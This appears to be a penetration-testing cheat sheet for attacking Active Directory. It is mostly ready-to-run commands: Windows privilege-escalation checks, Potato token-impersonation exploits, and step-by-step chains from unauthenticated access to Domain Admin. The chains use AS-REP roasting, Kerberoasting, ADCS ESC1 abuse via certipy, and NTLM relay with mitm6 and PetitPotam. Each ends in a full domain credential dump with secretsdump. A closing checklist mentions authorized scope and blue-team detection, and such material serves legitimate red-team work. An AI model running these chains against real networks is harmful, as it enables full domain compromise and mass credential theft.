# Advanced AD Attack Techniques


### Windows Privilege Escalation (Post-Compromise)

```powershell
# PrivescCheck — comprehensive Windows privesc enumeration
Invoke-PrivescCheck -Extended -Report PrivescCheck -Format TXT,HTML
# Manual checks
whoami /priv     # check SeImpersonatePrivilege, SeBackupPrivilege, SeDebugPrivilege
Get-Service | Where-Object {$_.StartType -eq 'Automatic'} | select Name,PathName
# Unquoted service paths
wmic service get name,pathname | findstr /i "auto" | findstr /i /v "c:\windows"
# Weak service ACLs
accesschk.exe -uwcqv "Everyone" * /accepteula
# AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Token impersonation (SeImpersonatePrivilege) — Potato attacks:
- `JuicyPotatoNG.exe -l 1337 -c CLSID -p cmd.exe -t *`
- `GodPotato.exe -cmd "cmd /c whoami"` — works on newer Windows
- `SweetPotato.exe` — multiple COM-based impersonation vectors

**Anti-pattern:** Immediately migrating Meterpreter process to SYSTEM — migrate to a stable, long-running process first (e.g., `explorer.exe`, `svchost.exe`) before privilege escalation to avoid losing session.

## Key Chains

### Unauthenticated to Domain Admin (Classical Path)
1. SMB null session → `rpcclient` enumerate users → build user list
2. AS-REP roast users without pre-auth → `hashcat -m 18200` → crack 1-2 accounts
3. Authenticated BloodHound collection → identify shortest path to Domain Admins
4. Kerberoast high-value SPNs on DA-path service accounts → crack offline
5. Abuse BloodHound edge (GenericWrite, WriteDACL, etc.) or DCSync with cracked DA creds
6. `secretsdump.py -just-dc` → full domain credential dump → golden ticket if needed

### ADCS ESC1 → Domain Admin in 4 Steps
1. `certipy find -vulnerable` → identify ESC1 template with low-priv enrollment
2. `certipy req -template ESC1 -upn administrator@domain` → get PFX
3. `certipy auth -pfx administrator.pfx -dc-ip DC_IP` → get NTLM hash + TGT
4. `secretsdump.py -just-dc -hashes :HASH DOMAIN/admin@DC` → dump all domain creds

### NTLM Relay to LDAP → RBCD → Impersonate Domain Admin
1. `mitm6 -d domain.local` + `ntlmrelayx.py -t ldaps://DC --delegate-access`
2. Coerce DC authentication via PetitPotam: `Petitpotam.py ATTACKER DC_IP`
3. ntlmrelayx creates a computer account, sets `msDS-AllowedToActOnBehalfOfOtherIdentity`
4. `getST.py -spn cifs/DC.domain.local -impersonate Administrator DOMAIN/AttackerPC$ -k`
5. `KRB5CCNAME=Administrator.ccache secretsdump.py -k -no-pass DOMAIN/@DC_FQDN`

---
v1.1 | Validated: 2026-03-13

## Verification

- [ ] All attack techniques tested within authorized scope
- [ ] Findings documented with evidence and MITRE ATT&CK mapping
- [ ] Cleanup completed — all artifacts removed
- [ ] Detection opportunities noted for blue team